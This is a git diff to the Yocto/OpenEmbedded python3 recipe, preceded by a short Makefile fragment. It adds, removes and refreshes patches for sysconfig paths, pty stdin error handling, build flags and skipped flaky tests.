sed -e "s,@EXENAME@,$(BINDIR)/python$(LDVERSION)$(EXE)," < $(srcdir)/Misc/python-config.in >python-config.py
@ # Replace makefile compat. variable references with shell script compat. ones; $(VAR) -> ${VAR}
LC_ALL=C sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config
diff --git a/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch b/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
index a94fa0a5a9..27a5992880 100644
--- a/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
+++ b/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
@@ -1,4 +1,4 @@
-From 9da913bf5f39c6fe737219af7419170574d6fbfb Mon Sep 17 00:00:00 2001
+From df1a5e4bc6c8523eaa33daa2a90707fe6c6bddb6 Mon Sep 17 00:00:00 2001
From: Jeremy Puhlman <jpuhlman@mvista.com>
Date: Wed, 4 Mar 2020 00:06:42 +0000
Subject: [PATCH] Don't search system for headers/libraries
@@ -11,10 +11,10 @@ Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/setup.py b/setup.py
-index a0bf9ea..da099bf 100644
+index c190002..5ef368d 100644
--- a/setup.py
+++ b/setup.py
-@@ -674,8 +674,8 @@ class PyBuildExt(build_ext):
+@@ -854,8 +854,8 @@ class PyBuildExt(build_ext):
add_dir_to_list(self.compiler.include_dirs,
sysconfig.get_config_var("INCLUDEDIR"))
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
new file mode 100644
index 0000000000..df5179e877
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
@@ -0,0 +1,47 @@
+From 86061629f4a179e740a17e53dd2c98ab47af2fe2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 16 Sep 2021 16:35:37 +0200
+Subject: [PATCH] Lib/pty.py: handle stdin I/O errors same way as master I/O
+ errors
+
+reading stdin can throw the same I/O errors as reading from master fd does,
+e.g. when running under Yocto's test harness:
+======================================================================
+ERROR: test_spawn_doesnt_hang (test.test_pty.PtyTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+ File "/usr/lib/python3.10/test/test_pty.py", line 316, in test_spawn_doesnt_hang
+ pty.spawn([sys.executable, '-c', 'print("hi there")'])
+ File "/usr/lib/python3.10/pty.py", line 181, in spawn
+ _copy(master_fd, master_read, stdin_read)
+ File "/usr/lib/python3.10/pty.py", line 157, in _copy
+ data = stdin_read(STDIN_FILENO)
+ File "/usr/lib/python3.10/pty.py", line 132, in _read
+ return os.read(fd, 1024)
+OSError: [Errno 5] Input/output error
+
+So let's treat both channels the same.
+
+Upstream-Status: Submitted [https://github.com/python/cpython/pull/28388]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/pty.py | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/Lib/pty.py b/Lib/pty.py
+index 8d8ce40..35439c6 100644
+--- a/Lib/pty.py
++++ b/Lib/pty.py
+@@ -154,7 +154,10 @@ def _copy(master_fd, master_read=_read, stdin_read=_read):
+ os.write(STDOUT_FILENO, data)
+
+ if STDIN_FILENO in rfds:
+- data = stdin_read(STDIN_FILENO)
++ try:
++ data = stdin_read(STDIN_FILENO)
++ except OSError:
++ data = b""
+ if not data:
+ fds.remove(STDIN_FILENO)
+ else:
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-libdir-values-from-configuratio.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-libdir-values-from-configuratio.patch
deleted file mode 100644
index 1490cdbb18..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-libdir-values-from-configuratio.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From deeedd1b8799294ab276ab7dbbfdb59c1dacc9a2 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 22 Oct 2020 13:10:34 +0200
-Subject: [PATCH] Lib/sysconfig.py: use libdir values from configuration file
-
-This allows correctly substituting them for target installs using
-native python.
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Lib/sysconfig.py | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index bf04ac5..ed0462b 100644
---- a/Lib/sysconfig.py
-+++ b/Lib/sysconfig.py
-@@ -20,10 +20,10 @@ __all__ = [
-
- _INSTALL_SCHEMES = {
- 'posix_prefix': {
-- 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',
-- 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',
-- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
-- 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',
-+ 'stdlib': '{LIBDEST}',
-+ 'platstdlib': '{LIBDEST}',
-+ 'purelib': '{LIBDEST}/site-packages',
-+ 'platlib': '{LIBDEST}/site-packages',
- 'include':
- '{installed_base}/include/python{py_version_short}{abiflags}',
- 'platinclude':
---
-2.24.0
-
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
new file mode 100644
index 0000000000..ad384231a5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
@@ -0,0 +1,32 @@
+From 2d4bde19e0df7244e1cd17c4f4a255d488cb3e56 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 12:28:31 +0200
+Subject: [PATCH] Lib/sysconfig.py: use prefix value from build configuration
+ file
+
+This allows correctly substituting them for target installs using
+native python.
+
+Upstream-Status: Inappropriate [oe-core cross builds]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index e64bcdc..40c6b3e 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -613,6 +613,11 @@ def get_config_vars(*args):
+ _init_non_posix(_CONFIG_VARS)
+ if os.name == 'posix':
+ _init_posix(_CONFIG_VARS)
++ _CONFIG_VARS['installed_base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['installed_platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platlibdir'] = _CONFIG_VARS['PLATLIBDIR']
+ # For backward compatibility, see issue19555
+ SO = _CONFIG_VARS.get('EXT_SUFFIX')
+ if SO is not None:
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch b/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
index b1bceac512..2f037ecb09 100644
--- a/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
+++ b/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
@@ -1,25 +1,32 @@
-From c501e121a872cbcef8ffe626c1de173a125be9f8 Mon Sep 17 00:00:00 2001
+From c960837b8fd83074bab5148236f3d0595468cea4 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 16 Jan 2020 12:34:20 +0100
Subject: [PATCH] Makefile: do not compile .pyc in parallel
-This was found to break reproducibility, and produce strange file ownership
+This was found to lock up builds, break reproducibility, and produce strange file ownership
races.
The upstream commit introducing the change was:
https://github.com/python/cpython/commit/1a2dd82f56bd813aacc570e172cefe55a8a41504
-Upstream-Status: Pending
+The build lock up issue is reported here:
+https://bugs.python.org/issue45945
+
+The repro failures are documented here:
+https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20211130-yr_o1a8d/packages/diff-html/
+
+Upstream-Status: Inappropriate [see issues above]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.pre.in | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 1241112..5dfdf44 100644
+index edd70d4..5e13ba2 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -1457,30 +1457,30 @@ libinstall: build_all $(srcdir)/Modules/xxmodule.c
+@@ -1601,30 +1601,30 @@ libinstall: build_all $(srcdir)/Modules/xxmodule.c
fi
-PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
$(PYTHON_FOR_BUILD) -Wi $(DESTDIR)$(LIBDEST)/compileall.py \
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch b/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
deleted file mode 100644
index 237645bc60..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 840fda32c82550259d02a7a56a78a9c05162b1a1 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 8 May 2019 16:10:29 +0800
-Subject: [PATCH] Makefile: fix Issue36464 (parallel build race problem)
-
-When using make -j with the 'install' target, it's possible for altbininstall
-(which normally creates BINDIR) and libainstall (which doesn't, though it
-installs python-config there) to race, resulting in a failure due to
-attempting to install python-config into a nonexistent BINDIR. Ensure it also
-exists in the libainstall target.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/13186]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Makefile.pre.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 15f3687..7e9f173 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -1456,7 +1456,7 @@ LIBPL= @LIBPL@
- LIBPC= $(LIBDIR)/pkgconfig
-
- libainstall: @DEF_MAKE_RULE@ python-config
-- @for i in $(LIBDIR) $(LIBPL) $(LIBPC); \
-+ @for i in $(LIBDIR) $(LIBPL) $(LIBPC) $(BINDIR); \
- do \
- if test ! -d $(DESTDIR)$$i; then \
- echo "Creating directory $$i"; \
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
index fa7735ff93..e1dabc92a3 100644
--- a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
+++ b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
@@ -1,19 +1,20 @@
-From cf6a9100902484e4d028ee88742dd2487b014a98 Mon Sep 17 00:00:00 2001
+From 9f85089cc3a21d5ff235bb37c6c9758f2b70497d Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 30 Jan 2019 12:41:04 +0100
Subject: [PATCH] Makefile.pre: use qemu wrapper when gathering profile data
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.pre.in | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index a3a02a7..d5503dd 100644
+index f0aedb7..edd70d4 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -507,8 +507,7 @@ build_all_generate_profile:
+@@ -519,8 +519,7 @@ build_all_generate_profile:
$(MAKE) @DEF_MAKE_RULE@ CFLAGS_NODIST="$(CFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LDFLAGS_NODIST="$(LDFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LIBS="$(LIBS)"
run_profile_task:
diff --git a/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
new file mode 100644
index 0000000000..96c5a3c840
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
@@ -0,0 +1,50 @@
+From 7171aeee22a0b7ab57cdf3d1ae15530549f8f92a Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 1 Apr 2021 13:08:37 -0700
+Subject: [PATCH] Skip failing tests due to load variability on YP AB
+
+Skip these tests until AB-INT is solved.
+
+[YOCTO #14296]
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+
+---
+ Lib/test/_test_multiprocessing.py | 2 ++
+ Lib/test/test_time.py | 1 +
+ 2 files changed, 3 insertions(+)
+
+diff --git a/Lib/test/_test_multiprocessing.py b/Lib/test/_test_multiprocessing.py
+index 3bc5b8f..a6e106d 100644
+--- a/Lib/test/_test_multiprocessing.py
++++ b/Lib/test/_test_multiprocessing.py
+@@ -568,6 +568,7 @@ class _TestProcess(BaseTestCase):
+
+ close_queue(q)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_many_processes(self):
+ if self.TYPE == 'threads':
+ self.skipTest('test not appropriate for {}'.format(self.TYPE))
+@@ -4817,6 +4818,7 @@ class TestWait(unittest.TestCase):
+ sem.release()
+ time.sleep(period)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_wait_integer(self):
+ from multiprocessing.connection import wait
+
+diff --git a/Lib/test/test_time.py b/Lib/test/test_time.py
+index 875615a..aebaa8c 100644
+--- a/Lib/test/test_time.py
++++ b/Lib/test/test_time.py
+@@ -474,6 +474,7 @@ class TimeTestCase(unittest.TestCase):
+ def test_perf_counter(self):
+ time.perf_counter()
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_process_time(self):
+ # process_time() should not include time spend during a sleep
+ start = time.process_time()
diff --git a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch b/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
index 793385de91..993ac243fc 100644
--- a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
+++ b/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
@@ -1,4 +1,4 @@
-From 9f63e83b1cec872917647b11155edaffe399d103 Mon Sep 17 00:00:00 2001
+From d7217b79a4e125d4fcc1087743171b94d91d1121 Mon Sep 17 00:00:00 2001
From: Inada Naoki <songofacandy@gmail.com>
Date: Sat, 14 Jul 2018 00:46:11 +0900
Subject: [PATCH] Use FLAG_REF always for interned strings
@@ -11,7 +11,7 @@ Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/Python/marshal.c b/Python/marshal.c
-index c4538bd..2437160 100644
+index 4125240..341c9aa 100644
--- a/Python/marshal.c
+++ b/Python/marshal.c
@@ -298,9 +298,14 @@ w_ref(PyObject *v, char *flag, WFILE *p)
diff --git a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch b/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
index c4fae09a5b..fc2241b5b9 100644
--- a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
+++ b/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
@@ -1,7 +1,8 @@
-From 1ad771d86728ee2ed30e202e9768d8d825f96467 Mon Sep 17 00:00:00 2001
+From 7cfa712eecf02edaefaf0e51f3c8a31933b88db1 Mon Sep 17 00:00:00 2001
From: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
Date: Fri, 31 May 2019 15:34:34 +0200
Subject: [PATCH] bpo-36852: proper detection of mips architecture for soft
+
float
When (cross) compiling for softfloat mips, __mips_hard_float will not be
@@ -13,18 +14,18 @@ to do this in a more autoconf/autotools manner.
Upstream-Status: Submitted [https://github.com/python/cpython/pull/13196]
Signed-off-by: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
-%% original patch: 0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
+
---
configure.ac | 175 +++++++--------------------------------------------
1 file changed, 21 insertions(+), 154 deletions(-)
diff --git a/configure.ac b/configure.ac
-index ede710e..bc81b0b 100644
+index 299786b..d0db062 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -710,160 +710,27 @@ fi
- MULTIARCH=$($CC --print-multiarch 2>/dev/null)
- AC_SUBST(MULTIARCH)
+@@ -718,160 +718,27 @@ then
+ fi
+
-AC_MSG_CHECKING([for the platform triplet based on compiler characteristics])
-cat >> conftest.c <<EOF
@@ -202,8 +203,5 @@ index ede710e..bc81b0b 100644
+ ;;
+esac
- if test x$PLATFORM_TRIPLET != x && test x$MULTIARCH != x; then
- if test x$PLATFORM_TRIPLET != x$MULTIARCH; then
---
-2.24.1
-
+ if test x$PLATFORM_TRIPLET != xdarwin; then
+ MULTIARCH=$($CC --print-multiarch 2>/dev/null)
diff --git a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch b/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
index b982691b36..1a1e3e960c 100644
--- a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
+++ b/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
@@ -1,4 +1,4 @@
-From e65bfe22c858872b08366aff49119d4145a77f40 Mon Sep 17 00:00:00 2001
+From 8a91a3047222ac533c2ca00b6d27cf6f992e6b11 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 31 Jan 2019 16:46:30 +0100
Subject: [PATCH] distutils/sysconfig: append
@@ -10,28 +10,14 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- Lib/distutils/sysconfig.py | 2 ++
- Lib/sysconfig.py | 2 ++
- 2 files changed, 4 insertions(+)
+ Lib/sysconfig.py | 2 ++
+ 1 file changed, 2 insertions(+)
-diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index b51629e..2df348c 100644
---- a/Lib/distutils/sysconfig.py
-+++ b/Lib/distutils/sysconfig.py
-@@ -438,6 +438,8 @@ def _init_posix():
- platform=sys.platform,
- multiarch=getattr(sys.implementation, '_multiarch', ''),
- ))
-+ if 'STAGING_LIBDIR' in os.environ:
-+ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
- _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
- build_time_vars = _temp.build_time_vars
- global _config_vars
diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index b2d790b..405273c 100644
+index 40c6b3e..ac94cc7 100644
--- a/Lib/sysconfig.py
+++ b/Lib/sysconfig.py
-@@ -419,6 +419,8 @@ def _init_posix(vars):
+@@ -474,6 +474,8 @@ def _init_posix(vars):
"""Initialize the module as appropriate for POSIX systems."""
# _sysconfigdata is generated at build time, see _generate_posix_vars()
name = _get_sysconfigdata_name()
diff --git a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
index bfddc1ad52..6bb85fcb34 100644
--- a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
+++ b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
@@ -1,4 +1,4 @@
-From 5f9eea2c4f8716830f6c8855a3e10872119fae32 Mon Sep 17 00:00:00 2001
+From 9f68a27eb34394a00f1011c06900c609f15fb15c Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Mon, 22 Oct 2018 15:19:51 +0800
Subject: [PATCH] python3: use cc_basename to replace CC for checking compiler
@@ -27,10 +27,10 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
1 file changed, 10 insertions(+), 9 deletions(-)
diff --git a/configure.ac b/configure.ac
-index d60f052..e491e24 100644
+index 0c06914..299786b 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -54,6 +54,7 @@ AC_CONFIG_HEADER(pyconfig.h)
+@@ -61,6 +61,7 @@ AC_CONFIG_HEADER(pyconfig.h)
AC_CANONICAL_HOST
AC_SUBST(build)
AC_SUBST(host)
@@ -38,7 +38,7 @@ index d60f052..e491e24 100644
# pybuilddir.txt will be created by --generate-posix-vars in the Makefile
rm -f pybuilddir.txt
-@@ -689,7 +690,7 @@ AC_MSG_RESULT($with_cxx_main)
+@@ -688,7 +689,7 @@ AC_MSG_RESULT($with_cxx_main)
preset_cxx="$CXX"
if test -z "$CXX"
then
@@ -47,7 +47,7 @@ index d60f052..e491e24 100644
gcc) AC_PATH_TOOL(CXX, [g++], [g++], [notfound]) ;;
cc) AC_PATH_TOOL(CXX, [c++], [c++], [notfound]) ;;
clang|*/clang) AC_PATH_TOOL(CXX, [clang++], [clang++], [notfound]) ;;
-@@ -975,7 +976,7 @@ rmdir CaseSensitiveTestDir
+@@ -976,7 +977,7 @@ rmdir CaseSensitiveTestDir
case $ac_sys_system in
hp*|HP*)
@@ -56,7 +56,7 @@ index d60f052..e491e24 100644
cc|*/cc) CC="$CC -Ae";;
esac;;
esac
-@@ -1366,7 +1367,7 @@ else
+@@ -1374,7 +1375,7 @@ else
fi],
[AC_MSG_RESULT(no)])
if test "$Py_LTO" = 'true' ; then
@@ -65,7 +65,7 @@ index d60f052..e491e24 100644
*clang*)
AC_SUBST(LLVM_AR)
AC_PATH_TOOL(LLVM_AR, llvm-ar, '', ${llvm_path})
-@@ -1456,7 +1457,7 @@ then
+@@ -1467,7 +1468,7 @@ then
fi
fi
LLVM_PROF_ERR=no
@@ -74,7 +74,7 @@ index d60f052..e491e24 100644
*clang*)
# Any changes made here should be reflected in the GCC+Darwin case below
PGO_PROF_GEN_FLAG="-fprofile-instr-generate"
-@@ -1517,7 +1518,7 @@ esac
+@@ -1528,7 +1529,7 @@ esac
# compiler and platform. BASECFLAGS tweaks need to be made even if the
# user set OPT.
@@ -83,7 +83,7 @@ index d60f052..e491e24 100644
*clang*)
cc_is_clang=1
;;
-@@ -1653,7 +1654,7 @@ yes)
+@@ -1664,7 +1665,7 @@ yes)
# ICC doesn't recognize the option, but only emits a warning
## XXX does it emit an unused result warning and can it be disabled?
@@ -92,7 +92,7 @@ index d60f052..e491e24 100644
*icc*)
ac_cv_disable_unused_result_warning=no
;;
-@@ -1993,7 +1994,7 @@ yes)
+@@ -2018,7 +2019,7 @@ yes)
;;
esac
@@ -101,7 +101,7 @@ index d60f052..e491e24 100644
*icc*)
# ICC needs -fp-model strict or floats behave badly
CFLAGS_NODIST="$CFLAGS_NODIST -fp-model strict"
-@@ -2765,7 +2766,7 @@ then
+@@ -2836,7 +2837,7 @@ then
then
LINKFORSHARED="-Wl,--export-dynamic"
fi;;
@@ -110,7 +110,7 @@ index d60f052..e491e24 100644
*gcc*)
if $CC -Xlinker --help 2>&1 | grep export-dynamic >/dev/null
then
-@@ -5507,7 +5508,7 @@ if test "$have_gcc_asm_for_x87" = yes; then
+@@ -5622,7 +5623,7 @@ if test "$have_gcc_asm_for_x87" = yes; then
# Some versions of gcc miscompile inline asm:
# http://gcc.gnu.org/bugzilla/show_bug.cgi?id=46491
# http://gcc.gnu.org/ml/gcc/2010-11/msg00366.html
diff --git a/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch b/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
index ea0af02e72..374433c68e 100644
--- a/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
+++ b/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
@@ -1,4 +1,4 @@
-From 7019ba184b828ed7253750cf409fc5760ef90a54 Mon Sep 17 00:00:00 2001
+From bad7e6a625436402a01d03021fb9ccd58bc9930f Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 9 Jan 2020 17:44:05 +0100
Subject: [PATCH] setup.py: pass missing libraries to Extension for
@@ -50,20 +50,21 @@ Upstream-Status: Pending
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
setup.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/setup.py b/setup.py
-index ec3f2a4..b0f1541 100644
+index d92face..f42bcbb 100644
--- a/setup.py
+++ b/setup.py
-@@ -1671,7 +1671,7 @@ class PyBuildExt(build_ext):
- libraries=libs,
- include_dirs=["Modules/_multiprocessing"]))
-
+@@ -1836,7 +1836,7 @@ class PyBuildExt(build_ext):
+ if (sysconfig.get_config_var('HAVE_SEM_OPEN') and not
+ sysconfig.get_config_var('POSIX_SEMAPHORES_NOT_ENABLED')):
+ multiprocessing_srcs.append('_multiprocessing/semaphore.c')
- self.add(Extension('_multiprocessing', multiprocessing_srcs,
+ self.add(Extension('_multiprocessing', multiprocessing_srcs, libraries=['pthread'],
include_dirs=["Modules/_multiprocessing"]))
- def detect_uuid(self):
+ if (not MS_WINDOWS and
diff --git a/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
new file mode 100644
index 0000000000..4fb63a9b7a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
@@ -0,0 +1,28 @@
+From 9162460d81ccc725fb04a14b27d0bf4afcfb69c9 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 12 Sep 2021 21:44:36 +0200
+Subject: [PATCH] sysconfig.py: use platlibdir also for purelib
+
+This is needed in multilib configurations where hardcoding 'lib'
+is not correct.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index daf9f00..e64bcdc 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -27,7 +27,7 @@ _INSTALL_SCHEMES = {
+ 'posix_prefix': {
+ 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',
+ 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',
+- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
++ 'purelib': '{base}/{platlibdir}/python{py_version_short}/site-packages',
+ 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',
+ 'include':
+ '{installed_base}/include/python{py_version_short}{abiflags}',
diff --git a/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
new file mode 100644
index 0000000000..371021c0a9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
@@ -0,0 +1,34 @@
+From 13aa6449c47980c7270dad2527c3911517bf34e6 Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Fri, 18 Jun 2021 11:56:50 -0700
+Subject: [PATCH] test_ctypes.test_find: skip without tools-sdk
+
+These tests need full packagegroup-core-buildessential, the
+easiest way to dynamically check for that is looking for
+'tools-sdk' in IMAGE_FEATURES.
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Tim Orling <timothy.t.orlign@intel.com>
+
+---
+ Lib/ctypes/test/test_find.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/Lib/ctypes/test/test_find.py b/Lib/ctypes/test/test_find.py
+index 1ff9d01..59def26 100644
+--- a/Lib/ctypes/test/test_find.py
++++ b/Lib/ctypes/test/test_find.py
+@@ -113,10 +113,12 @@ class FindLibraryLinux(unittest.TestCase):
+ # LD_LIBRARY_PATH)
+ self.assertEqual(find_library(libname), 'lib%s.so' % libname)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_gcc(self):
+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None):
+ self.assertNotEqual(find_library('c'), None)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_ld(self):
